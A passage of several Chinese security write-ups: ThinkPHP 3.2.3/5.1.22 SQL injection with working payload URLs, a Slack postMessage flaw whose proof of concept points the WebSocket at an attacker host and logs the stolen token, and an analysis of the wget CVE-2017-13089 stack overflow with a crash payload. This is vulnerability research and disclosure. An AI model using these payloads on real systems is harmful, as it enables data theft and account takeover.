只有当`$val[1]==$key`键值时才能进行拼接（那万一要执行
INSERT INTO `user` (`age`) VALUES ( oldage+1 )
呢？
# ThinkPHP 5.1.22 order by 注入
同时受到影响的还有3.2.3及以下的版本，这里仅以5.1.22进行分析
## 漏洞利用
下载好对应版本的ThinkPHP之后，创建一个demo页面
public function index()
{
$data=array();
$data['username']=array('eq','admin');
$order=input('get.order');
$m=db('user')->where($data)->order($order)->find();
dump($m);
}
数据库
设置好对应的数据库配置，以及开启`debug`模式
访问如下url即可产生注入
http://localhost/tp5.1.22/public/?order[id`|updatexml(1,concat(0x3a,user()),1)%23]=1
## 漏洞分析
在数据库处理的地方下好断点，跟入数据库的操作，可以来到`order`函数中（`thinkphp\library\think\db\Query.php:1823`）
有很多代码区域都没有进入，所以只贴上相关的代码
动态调试中，就主要经过了这几个点
public function order($field, $order = null)
{
....
if (!isset($this->options['order'])) {
$this->options['order'] = [];
}
if (is_array($field)) {
$this->options['order'] = array_merge($this->options['order'], $field);
} else {
....
}
return $this;
}
可以看到，当`$field`是一个数组的时候，直接用`array_merge`进行了数组拼接，没有进行任何过滤
所以导致键名直接拼接到了语句中，从而在预编译阶段报错
最后还是和其他SQL注入类似，由于PDO的原因，导致无法进行子查询
# ThinkPHP 3.2.3 where注入
终于找到一个支持子查询的SQL注入了，估摸着应该是3和5版本的区别（感觉tp5中的注入都是蛮鸡肋的，但思路值得学习
## 漏洞利用
下载`3.2.3`版本的ThinkPHP，在`IndexController.class.php`中创建一个demo
public function index(){
$data = M('user')->find(I('GET.id'));
var_dump($data);
}
创建好`user`表以及`id`、`username`、`password`字段，然后配置好`config.php`文件
<?php
return array(
//'配置项'=>'配置值'
'DB_TYPE' => 'mysql',
'DB_HOST' => 'localhost',
'DB_NAME' => 'tp5',
'DB_USER' => 'root',
'DB_PWD' => '',
'DB_PORT' => '3306',
'DB_FIELDS_CACHE' => true,
'SHOW_PAGE_TRACE' => true,
);
访问`http://localhost/tp3.2.3/index.php?id=1`就可以看到数据被取出
然后访问如下url即可产生注入
http://localhost/tp3.2.3/index.php?id[where]=3 and 1=updatexml(1,concat(0x7,(select password from user limit 1),0x7e),1)%23
## 漏洞分析
通过payload可以看到还是利用数组的形式进行传参，从而造成了sql注入，感觉一般都是在数组这层，对数据的过滤不够严谨，导致的字符串拼接，从而sql注入
在`$data =
M('user')->find(I('GET.id'));`中下好断点，跟踪到`ThinkPHP/Library/Think/Model.class.php:720`的`select`函数中
只列出两条比较重要的语句
public function find($options=array()) {
....
// 分析表达式
$options = $this->_parseOptions($options);
....
$resultSet = $this->db->select($options);
.....
}
在一开始的`$this->_parseOptions($options);`中，本来是对传入的pk进行了类型转换，导致无法进行sql注入
protected function _parseOptions($options=array()) {
....
// 字段类型验证
if(isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) {
// 对数组查询条件进行字段类型检查
foreach ($options['where'] as $key=>$val){
$key = trim($key);
if(in_array($key,$fields,true)){
if(is_scalar($val)) {
$this->_parseType($options['where'],$key);
}
}elseif(!is_numeric($key) && '_' != substr($key,0,1) && false === strpos($key,'.') && false === strpos($key,'(') && false === strpos($key,'|') && false === strpos($key,'&')){
if(!empty($this->options['strict'])){
E(L('_ERROR_QUERY_EXPRESS_').':['.$key.'=>'.$val.']');
}
unset($options['where'][$key]);
}
}
}
...
}
但是由于传入的是数组的原因，导致略过了类型转换部分，从而将恶意语句带入了下文中
然后最后被带入到`$this->db->select($options);`
public function select($options=array()) {
$this->model = $options['model'];
$this->parseBind(!empty($options['bind'])?$options['bind']:array());
$sql = $this->buildSelectSql($options);
$result = $this->query($sql,!empty($options['fetch_sql']) ? true : false);
return $result;
}
跟入到`$sql = $this->buildSelectSql($options);`中
public function buildSelectSql($options=array()) {
if(isset($options['page'])) {
// 根据页数计算limit
list($page,$listRows) = $options['page'];
$page = $page>0 ? $page : 1;
$listRows= $listRows>0 ? $listRows : (is_numeric($options['limit'])?$options['limit']:20);
$offset = $listRows*($page-1);
$options['limit'] = $offset.','.$listRows;
}
$sql = $this->parseSql($this->selectSql,$options);
return $sql;
}
再到`$sql = $this->parseSql($this->selectSql,$options);`
public function parseSql($sql,$options=array()){
$sql = str_replace(
array('%TABLE%','%DISTINCT%','%FIELD%','%JOIN%','%WHERE%','%GROUP%','%HAVING%','%ORDER%','%LIMIT%','%UNION%','%LOCK%','%COMMENT%','%FORCE%'),
array(
$this->parseTable($options['table']),
$this->parseDistinct(isset($options['distinct'])?$options['distinct']:false),
$this->parseField(!empty($options['field'])?$options['field']:'*'),
$this->parseJoin(!empty($options['join'])?$options['join']:''),
$this->parseWhere(!empty($options['where'])?$options['where']:''),
$this->parseGroup(!empty($options['group'])?$options['group']:''),
$this->parseHaving(!empty($options['having'])?$options['having']:''),
$this->parseOrder(!empty($options['order'])?$options['order']:''),
$this->parseLimit(!empty($options['limit'])?$options['limit']:''),
$this->parseUnion(!empty($options['union'])?$options['union']:''),
$this->parseLock(isset($options['lock'])?$options['lock']:false),
$this->parseComment(!empty($options['comment'])?$options['comment']:''),
$this->parseForce(!empty($options['force'])?$options['force']:'')
),$sql);
return $sql;
}
可以看到是将`option`中的字段字节直接在sql语句中进行了拼接，而且从这也能看出，不仅仅有`where`还有以些`tables`、`field`之类的字段都可以控制，因为也会被直接拼接到语句中
然后语句被执行，引发了报错注入
该漏洞涉及到`select`、`find`、`delete`等方法
## 漏洞修复
新的版本中将`$options`和`$this->options`进行了区分，从而传入的参数无法污染到`$this->options`，也就无法控制sql语句了。
# ThinkPHP 3.2.3 bind 注入
## 漏洞利用
demo页面
public function index(){
$User = M("user");
$user['id'] = I('id');
$data['username'] = I('username');
$data['password'] = I('password');
$valu = $User->where($user)->save($data);
var_dump($valu);
}
还有数据库和`config.php`配置一下
访问`http://localhost/tp3.2.3/index.php?username=admin&password=123&id=1`看到
就表示成功`update`了一条语句，然后访问
http://localhost/tp3.2.3/index.php
?username=admin
&password=123
&id[]=bind
&id[]=1 and updatexml(1,concat(0x7,(select password from user limit 1),0x7e),1)
即可看到报错
## 漏洞分析
漏洞的重点就在于参数中的`id[]=bind`，我们只要跟踪由于这个引起的变化，就能看到漏洞触发的全过程。
来到`ThinkPHP/Library/Think/Model.class.php:396` save函数中（很多代码无用被缩了起来
获取了表名字段名一些准备工作之后会进入`$this->db->update($data,$options);`
最后会来到`parseWhere`的解析
到目前位置传入的`options`中的`where`条件依旧是传入的数组
漏洞重点在于`ThinkPHP/Library/Think/Db/Driver.class.php:547`中
当`'bind'==$exp`的时候，就会直接将key和value拼接到where表达式中（本意应该只是生成占位符
导致最后sql语句变为
UPDATE `user` SET `username`=:0,`password`=:1 WHERE `id` = :1 and updatexml(1,concat(0x7,(select password from user limit 1),0x7e),1)
在最后`execute`时，就只会替换`:1`部分的数据
`ThinkPHP/Library/Think/Db/Driver.class.php:196`
public function execute($str,$fetchSql=false) {
$this->initConnect(true);
if ( !$this->_linkID ) return false;
$this->queryStr = $str;
if(!empty($this->bind)){
$that = $this;
$this->queryStr = strtr($this->queryStr,array_map(function($val) use($that){ return '\''.$that->escapeString($val).'\''; },$this->bind));
}
...
导致后面的`and updatexml(1,concat(0x7,(select password from user limit
1),0x7e),1)`语句逃逸，从而产生SQL注入
## 漏洞修复
修复方案只是在`I`函数的过滤器上加入了对于`bind`的过滤
emmm，有点不知道怎么评论
# Reference Links
<https://xz.aliyun.com/t/125>
<https://www.leavesongs.com/PENETRATION/thinkphp5-in-sqlinjection.html>
<https://github.com/vulhub/vulhub>
<http://www.zerokeeper.com/vul-analysis/thinkphp-framework-50x-sql-injection-analysis.html>
<https://xz.aliyun.com/t/2257>
<http://galaxylab.org/thinkphp-3-x-5-x-order-by%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E/>
<https://xz.aliyun.com/t/2631>
<https://xz.aliyun.com/t/2629#toc-5>
<https://www.anquanke.com/post/id/104847> | 社区文章 |
# 【技术分享】使用postMessage()和WebSocket重连来窃取你Slack的Token
|
##### 译文声明
本文是翻译文章，文章来源：detectify.com
原文地址：<https://labs.detectify.com/2017/02/28/hacking-slack-using-postmessage-and-websocket-reconnect-to-steal-your-precious-token/>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[WisFree](http://bobao.360.cn/member/contribute?uid=2606963099)
预估稿费：200RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**
**
**长话短说**
我可以创建一个恶意页面并用它将你的Slack
WebSocket重连至我自己的WebSocket，然后我就可以窃取你Slack的私人Token了。在我将该问题上报给Slack的五个小时之后他们便修复了相应漏洞，并给我提供了三千美金的漏洞奖励。
我将在这篇文章中给大家介绍这个我从Slack挖到的漏洞，我不仅会介绍这个漏洞的利用方法，而且也会告诉大家我是如何发现这个漏洞的。
**背景知识**
****
使用window.addEventListener('message',
func)和window.postMessage()来传递信息绝对是一种实现跨域通信的绝佳利器。但是，这种方法也有其致命缺陷，即无法检查消息中的源（origin），这个问题我们此前也已经讨论过多次了【[参考资料1](https://labs.detectify.com/2016/12/15/postmessage-xss-on-a-million-sites/)】【[参考资料2](https://labs.detectify.com/2016/12/08/the-pitfalls-of-postmessage/)】。
上周我无聊的时候翻看了一下Slack的源码，我发现Chrome真的非常方便，因为我们可以直接查看到那些对象设置了监听器。你可以在元素标签中看到如下图所示的事件监听器：
我发现Slack会将信息传递给window对象的一个监听器，相应的监听器函数如下所示：
var _receivePostedMessageFromChildWindow = function(evt) {
if (!evt || !evt.data || !evt.data.message_type) {
TS.utility.calls_log.logEvent({
event: _utility_calls_config.log_events.invalid_msg_from_child_window,
value: evt
});
return
}
if (evt.data.origin_window_type === TS.utility.calls.window_types.call_window) {
switch (evt.data.message_type) {
case TS.utility.calls.messages_from_call_window_types.update_mini_panel:
...
break;
case TS.utility.calls.messages_from_call_window_types.set_call_window_loaded:
...
...
正如你所看到的那样，他们并没有验证消息中的evt.origin和evt.source。这是两个无法伪造的只读属性，但由于他们没有对这两个属性进行验证，所以这也就意味着我可以用它们来做一些有意思的事情，比如说，我可以通过另一个由我控制的window对象并使用postMessage()来访问这个window对象的功能以及函数。
**设计一个PoC**
现在，如果只跟Slack的技术人员说他们忘记进行源验证的话，那就没啥意思了，而且也不能体现这个问题的严重性。因此，我必须仔细检查一下他们的源代码，然后设计出一种比较好的漏洞利用场景。
第一个需要克服的难题是：如果我想用我的payload来攻击某个用户的话，我怎么知道我应该用哪一个team-URL？
就在此时，我发现<https://my.slack.com> 会将你重定向到你当前的Slack实例。这就非常棒了！
在查看了所有我能发送的事件（event）之后，我发现Slack在保护用户通话这一点上做得非常好。因为即使我可以控制Slack向浏览器所发送的通知信息，即使我可以切换当前的聊天会话，但我仍无法控制这些事件的调用。
一种比较白痴的PoC将会是这种情况：如果你打开了我的恶意页面，然后给其他用户拨打语音电话的话，那么我就可以切断你跟这位用户的语音通话。
所以我还得再努力一把。在进行了深入分析之后，我发现代码中还有很多针对语音通话（calls）的引用，具体如下所示：
if (event.data.message_type != TS.utility.calls.messages_to_call_window_types.ms_msg && !event.data.reply_to) {
TS.utility.calls_log.logEvent({
event: _calls_config.log_events.message_from_parent_window,
value: event.data
})
}
这就非常明显了，该函数中的这一大堆代码就是用来实现Slack语音通话功能的：
当用户使用语音通话功能时，虽然通话窗口驻留在另一个新窗口中，但实际的通信还是由Slack的主窗口完成的，这也是他们使用postMessage()的主要原因。
在查看了<https://slack.com/call> 的源码之后，我发现这里也存在相同的问题，即没有对消息源进行验证，但是这里的问题比之前的还要有意思。
但是我又遇到了一个问题，<https://slack.com/call>
这个节点还需要一个类似/call/UXXXX这样的参数来作为组ID或用户ID才能正常访问，而这与我之前遇到的问题非常类似，即“我怎样才能攻击任意用户（即使他不在我的工作团队（team）之中）？”此时我发现只需要在地址中加一个参数“me”就可以了，所以我打算直接使用下面这个URL地址：
https://slack.com/call/me
这个地址将会把你定向到你当前实例的/call节点，但奇怪的是当你重新加载页面之后页面就会崩溃。
现在我已经知道了以下信息：
1.一个可以重定向到用户当前Slack实例的地址。
2.一个使用了postMessage()的也main，我们应该可以利用这个页面中的一系列事件（event）来做一些有意思的事情。
3.一个可以应用到任意Slack用户的URL地址
4.一个无效页面，但是这个页面同样使用了一个postMessage监听器
上面这些信息就是我所需要的东西了。
**事件（event）分析**
现在，我们来看看有哪些可以发送的事件，下面就是其中一个：
我们可以用Chrome来设置断点，然后分析这个功能。在这个函数中，又有一大堆处理信息的代码：
由于其不会进行源验证，这也就意味着我可以控制主程序所解析的信息。现在，我不仅可以控制call窗口发送的信息，而且还可以控制这个窗口中的事件。函数中的下列参数暴露了Slack的跨域控制问题：
"origin_window_type": "incoming_call", "message_type": "ms_msg"
就此看来，找出一个有意思的PoC只是时间问题了，把这个PoC整出来之后，我就要把它报给Slack团队了。
**找出有意思的事件（event）**
没错，我尝试了网站提供的大量事件，下面是我已经测试过的事件列表：
accounts_changed(), apps_changed(imsg), bot_added(imsg), bot_changed(imsg), bot_removed(imsg), channel_archive(imsg), channel_converted_to_shared(imsg), channel_created(imsg), channel_deleted(imsg), channel_history_changed(imsg), channel_history_changed_worker(imsg), channel_joined(imsg), channel_left(imsg), channel_marked(imsg), channel_rename(imsg), channel_unarchive(imsg), commands_changed(imsg), dnd_override(imsg), dnd_updated(imsg), dnd_updated_user(imsg), email_domain_changed(imsg), emoji_changed(imsg), enterprise_rename(imsg), error(imsg), file_change(imsg), file_comment_added(imsg), file_comment_deleted(imsg), file_comment_edited(imsg), file_created(imsg), file_deleted(imsg), file_private(imsg), file_public(imsg), file_shared(imsg), file_unshared(imsg), goodbye(imsg), group_archive(imsg), group_close(imsg), group_converted_to_shared(imsg), group_deleted(imsg), group_history_changed(imsg), group_history_changed_worker(imsg), group_joined(imsg), group_left(imsg), group_marked(imsg), group_open(imsg), group_rename(imsg), group_unarchive(imsg), hello(imsg), im_close(imsg), im_created(imsg), im_history_changed(imsg), im_history_changed_worker(imsg), im_marked(imsg), im_open(imsg), issue_change(imsg), manual_presence_change(imsg), member_joined_channel(imsg), member_joined_group(imsg), member_left_channel(imsg), member_left_group(imsg), message(imsg), message_changed(imsg), message_changed_worker(imsg), message_deleted(imsg), message_deleted_worker(imsg), message_replied(imsg), mpim_close(imsg), mpim_history_changed(imsg), mpim_history_changed_worker(imsg), mpim_joined(imsg), mpim_marked(imsg), mpim_open(imsg), msgReceived(imsg), msgReceivedFromParentWindow(imsg), onStartxu(), pin_added(imsg), pin_removed(imsg), pref_change(imsg), presence_change(imsg), reaction_added(imsg), reaction_removed(imsg), reconnect_url(imsg), sh_room_join(imsg), sh_room_leave(imsg), sh_room_update(imsg), slack_broadcast(imsg), star_added(imsg), star_removed(imsg), status_change(imsg), subteam_created(imsg), subteam_deleted(imsg), subteam_self_added(imsg), subteam_self_removed(imsg), subteam_updated(imsg), subtype__channel_history_changed(imsg), subtype__channel_join(imsg), subtype__channel_leave(imsg), subtype__channel_purpose(imsg), subtype__channel_topic(imsg), subtype__file_share(imsg), subtype__group_history_changed(imsg), subtype__group_join(imsg), subtype__group_leave(imsg), subtype__group_purpose(imsg), subtype__group_topic(imsg), subtype__im_history_changed(imsg), subtype__message_changed(imsg), subtype__message_deleted(imsg), subtype__message_replied(imsg), subtype__mpim_history_changed(imsg), subtype__mpim_join(imsg), subtype__sh_room_created(imsg), subtype__sh_room_shared(imsg), team_domain_change(imsg), team_icon_change(imsg), team_join(imsg), team_plan_change(imsg), team_pref_change(imsg), team_profile_change(imsg), team_profile_delete(imsg), team_profile_reorder(imsg), team_rename(imsg), teams_joined_shared_channel(imsg), teams_left_shared_channel(imsg), thread_marked(imsg), thread_subscribed(imsg), thread_unsubscribed(imsg), update_thread_state(imsg), user_added_to_team(imsg), user_can_manage_shared_channels(imsg), user_change(imsg), user_read_only_channels(imsg), user_removed_from_team(imsg), user_typing(imsg)
在所有事件中，reconnect_url这个事件吸引了我的注意，不仅因为它非常常见，而且它还存在一个明显的问题：
if (!TS.ms.fast_reconnects_enabled)
return;
var url = imsg.url;
TS.ms.setReconnectUrl(url)
上面这段代码会对Slack所使用的WebSocket-URL进行转换。WebSocket的初始化是通过一个GET事件完成的，这个过程需要用到大量参数，其中有一个参数名叫“token”，而且还是一个xoxs-token，只要我拿到这个token，我就可以访问你的Slack账号了。
所以，我自己建立了一个本地WebSocket，我这里选择的是[Ratchet](http://socketo.me/)，因为它设置起来比较方便。我其实并不需要一个完整的socket，我只需要它能够正常响应init请求即可。所以我修改了onOpen请求，具体如下所示：
public function onOpen(ConnectionInterface $conn) {
// Store the new connection to send messages to later
$this->clients->attach($conn);
$token = $conn->WebSocket->request->getQuery()['token'];
echo sprintf("WE GOT TOKEN: %sn", $token);
file_put_contents('token.txt', $token);
echo "New connection! ({$conn->resourceId})n";
}
这段代码会将token导出到本地，然后我准备使用命令控制台来向窗口发送信息，并尝试能否连接我的socket：
window.postMessage({"origin_window_type":"incoming_call","message_type":"ms_msg","msg":{"reply_to":false,"type":"reconnect_url","url":"ws://your-socket-domain:9001/websocket/AAA"}}, "*")
结果并不尽如人意。因为原始的WebSocket已经建立了连接，当它调用其他事件时，并不会再初始化一次重连（reconnect）。但是当我在查看网站其他的事件处理器时，我发现了一个名叫“goodbye”的方法：
goodbye: function(imsg) {
if (!TS.lazyLoadMembersAndBots())
return;
TS.info("Got a goodbye message, so disconnecting from the MS");
TS.ms.disconnect()
},
原来，Slack将一个名叫“fast_reconnects_enabled”的参数设置为了“ture”，而正是这个参数才使得我能够执行reconnect_url事件，然后再通过goodbye事件完成重连。
**信息整合**
现在，我们来整理一下思路：
1.我们开启了一个本地的web-socket，它只有一个功能，就是监听、拦截，并将获取到的token参数保存到我们的服务器中。
2.当目标用户点击了我们恶意页面中的链接之后，我们会开启一个新的窗口，然后将用户定向到https://slack.com/call/me，最后将针对该窗口的引用保存在变量b之中。
3.我们还运行了一个小脚本来尝试通过我们自己的WebSocket来获取token。
4.接下来，通过下面这个postMessage来重置socket-URL：
b.postMessage({"origin_window_type":"incoming_call","message_type":"ms_msg","msg":{"reply_to":false,"type":"reconnect_url","url":"ws://your-socket-domain:9001/websocket/AAA"}}, "*")
5.每两秒钟我们还要调用一次goodbye方法来确保socket连接能够被中断：
b.postMessage({"origin_window_type":"incoming_call","message_type":"ms_msg","msg":{"reply_to":false,"type":"goodbye"}}, "*")
6.当slack.com的窗口连接到了我们的socket之后，我们就可以导出目标用户的token，然后再使用这个xoxs-token来从Slack
API的auth.test节点收集数据。
至此，我们已经成功窃取到了目标用户的token。
**演示视频**
我还专门制作了一个短视频来演示整个攻击过程： ****
**解决方案**
Slack所采用的解决方案如下所示（验证信息源）：
if (!TS.utility.calls.verifyOriginUrl(evt.origin)) {
return
}
...
verifyOriginUrl: function(originHref) {
var a = document.createElement("a");
a.href = originHref;
return a.hostname == window.location.hostname
},
**总结**
我在上周五的晚上将该问题上报给了Slack，仅在33分钟之后他们便给我回复了，并且在5小时之后修复了相应的问题，效率简直不要太高。最后，感谢Slack给我的3000美金。 | 社区文章 |
作者：[Firmy@青藤实验室](https://mp.weixin.qq.com/s/KW9ROTCMJyJ-mBt8dwBmBg
"Firmy@青藤实验室")
#### 0x00 应用简介
wget 是一个从网络上自动下载文件的工具，支持通过 HTTP、HTTPS、FTP 三种最常见的 TCP/IP 协议。
#### 0x01 漏洞描述
在处理例如重定向的情况时，wget 会调用到 `skip_short_body()` 函数，函数中会对分块编码的数据调用 `strtol()`
函数读取每个块的长度，但在版本 1.19.2 之前，没有对这个长度进行必要的检查，例如其是否为负数。然后 wget 通过使用 `MIN()` 宏跳过块的
512 个字节，将负数传递给了函数 `fd_read()`。由于 `fd_read()` 接收的参数类型为 int，所以块长度的高 32
位会被丢弃，使得攻击者可以控制传递给 `fd_read()` 的参数。
#### 0x02 漏洞复现
首先编译安装 wget-1.19.1：
$ sudo apt-get install libneon27-gnutls-dev
$ wget https://ftp.gnu.org/gnu/wget/wget-1.19.1.tar.gz
$ tar zxvf wget-1.19.1.tar.gz
$ cd wget-1.19.1
$ ./configure
$ make && sudo make install
$ wget -V | head -n1
GNU Wget 1.19.1 built on linux-gnu.
引发崩溃的 payload 如下：
HTTP/1.1 401 Not Authorized
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
-0xFFFFFD00
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0
stack smashing 现场：
$ nc -lp 6666 < payload & wget --debug localhost:6666
[1] 4291
DEBUG output created by Wget 1.19.1 on linux-gnu.
Reading HSTS entries from /home/firmy/.wget-hsts
Converted file name 'index.html' (UTF-8) -> 'index.html' (UTF-8)
--2018-01-30 11:42:32-- http://localhost:6666/
Resolving localhost... 127.0.0.1
Caching localhost => 127.0.0.1
Connecting to localhost|127.0.0.1|:6666... connected.
Created socket 4.
Releasing 0x00000000012f51b0 (new refcount 1).
---request begin--- GET / HTTP/1.1
User-Agent: Wget/1.19.1 (linux-gnu)
Accept: */*
Accept-Encoding: identity
Host: localhost:6666
Connection: Keep-Alive
---request end--- GET / HTTP/1.1
User-Agent: Wget/1.19.1 (linux-gnu)
Accept: */*
Accept-Encoding: identity
Host: localhost:6666
Connection: Keep-Alive
HTTP request sent, awaiting response...
---response begin--- HTTP/1.1 401 Not Authorized
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
---response end--- 401 Not Authorized
Registered socket 4 for persistent reuse.
Skipping -4294966528 bytes of body:
[AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASkipping -4294967296
bytes of body: [] aborting (EOF received).
*** stack smashing detected ***: wget terminated
[1]+ Done nc -lp 6666 < payload
Aborted (core dumped)
#### 0x03 漏洞分析
关键函数 `skip_short_body()`：
// src/http.c
static bool
skip_short_body (int fd, wgint contlen, bool chunked)
{
enum {
SKIP_SIZE = 512, /* size of the download buffer */
SKIP_THRESHOLD = 4096 /* the largest size we read */
};
wgint remaining_chunk_size = 0;
char dlbuf[SKIP_SIZE + 1];
dlbuf[SKIP_SIZE] = '\0'; /* so DEBUGP can safely print it */
/* If the body is too large, it makes more sense to simply close the
connection than to try to read the body. */
if (contlen > SKIP_THRESHOLD)
return false;
while (contlen > 0 || chunked)
{
int ret;
if (chunked)
{
if (remaining_chunk_size == 0)
{
char *line = fd_read_line (fd);
char *endl;
if (line == NULL)
break;
remaining_chunk_size = strtol (line, &endl, 16); // 未检查remaining_chunk_size是否为负
xfree (line);
if (remaining_chunk_size == 0)
{
line = fd_read_line (fd);
xfree (line);
break;
}
}
contlen = MIN (remaining_chunk_size, SKIP_SIZE); // contlen 为可控变量
}
DEBUGP (("Skipping %s bytes of body: [", number_to_static_string (contlen)));
ret = fd_read (fd, dlbuf, MIN (contlen, SKIP_SIZE), -1); // 引发溢出
if (ret <= 0)
{
/* Don't normally report the error since this is an
optimization that should be invisible to the user. */
DEBUGP (("] aborting (%s).\n",
ret < 0 ? fd_errstr (fd) : "EOF received"));
return false;
}
contlen -= ret;
if (chunked)
{
remaining_chunk_size -= ret;
if (remaining_chunk_size == 0)
{
char *line = fd_read_line (fd);
if (line == NULL)
return false;
else
xfree (line);
}
}
/* Safe even if %.*s bogusly expects terminating \0 because
we've zero-terminated dlbuf above. */
DEBUGP (("%.*s", ret, dlbuf));
}
DEBUGP (("] done.\n"));
return true;
}
通常可这样调用的：
if (keep_alive && !head_only
&& skip_short_body (sock, contlen, chunked_transfer_encoding))
CLOSE_FINISH (sock);
所以要想进入到漏洞代码，只需要 contlen 的长度不大于 4096 且使用了分块编码 `chunked_transfer_encoding`。对于参数
`chunked_transfer_encoding` 的设置在函数 gethttp() 中：
// src/http.c
chunked_transfer_encoding = false;
if (resp_header_copy (resp, "Transfer-Encoding", hdrval, sizeof (hdrval))
&& 0 == c_strcasecmp (hdrval, "chunked"))
chunked_transfer_encoding = true;
而 contlen 的赋值为 `contlen = MIN (remaining_chunk_size, SKIP_SIZE);`，MIN()
宏函数定义如下，用于获得两个值中小的那一个：
// src/wget.h
# define MIN(i, j) ((i) <= (j) ? (i) : (j))
当 `remaining_chunk_size` 为负值时，同样满足小于 SKIP_SIZE，所以 contlen 实际上是可控的。
随后进入 `fd_read()` 函数，从 fd 读取 bufsize 个字节到 buf 中，于是引起缓冲区溢出：
//src/connect.c
/* Read no more than BUFSIZE bytes of data from FD, storing them to
BUF. If TIMEOUT is non-zero, the operation aborts if no data is
received after that many seconds. If TIMEOUT is -1, the value of
opt.timeout is used for TIMEOUT. */
int
fd_read (int fd, char *buf, int bufsize, double timeout)
{
struct transport_info *info;
LAZY_RETRIEVE_INFO (info);
if (!poll_internal (fd, info, WAIT_FOR_READ, timeout))
return -1;
if (info && info->imp->reader)
return info->imp->reader (fd, buf, bufsize, info->ctx);
else
return sock_read (fd, buf, bufsize);
}
补丁
git show d892291fb8ace4c3b734ea5125770989c215df3f | cat
commit d892291fb8ace4c3b734ea5125770989c215df3f
Author: Tim RühsenDate: Fri Oct 20 10:59:38 2017 +0200
Fix stack overflow in HTTP protocol handling (CVE-2017-13089)
* src/http.c (skip_short_body): Return error on negative chunk size
Reported-by: Antti Levom?ki, Christian Jalio, Joonas Pihlaja from Forcepoint
Reported-by: Juhani Eronen from Finnish National Cyber Security Centre
diff --git a/src/http.c b/src/http.c
index 5536768..dc31823 100644
--- a/src/http.c
+++ b/src/http.c
@@ -973,6 +973,9 @@ skip_short_body (int fd, wgint contlen, bool chunked)
remaining_chunk_size = strtol (line, &endl, 16);
xfree (line);
+ if (remaining_chunk_size < 0)
+ return false;
+
if (remaining_chunk_size == 0)
{
line = fd_read_line (fd);
补丁也很简单，就是对 `remaining_chunk_size` 是否为负值进行了判断。
#### 0x04 Exploit
在这里我们做一点有趣的事情。先修改一下配置文件 configure.ac，把堆栈保护技术都关掉，也就是加上下面所示的这几行：
$ cat configure.ac | grep -A4 stack
dnl Disable stack canaries
CFLAGS="-fno-stack-protector $CFLAGS"
dnl Disable No-eXecute
CFLAGS="-z execstack $CFLAGS"
dnl
dnl Create output
dnl
然后编译安装，结果如下：
$ sudo apt-get install automake
$ make && sudo make install
$ pwn checksec /usr/local/bin/wget
[*] '/usr/local/bin/wget'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
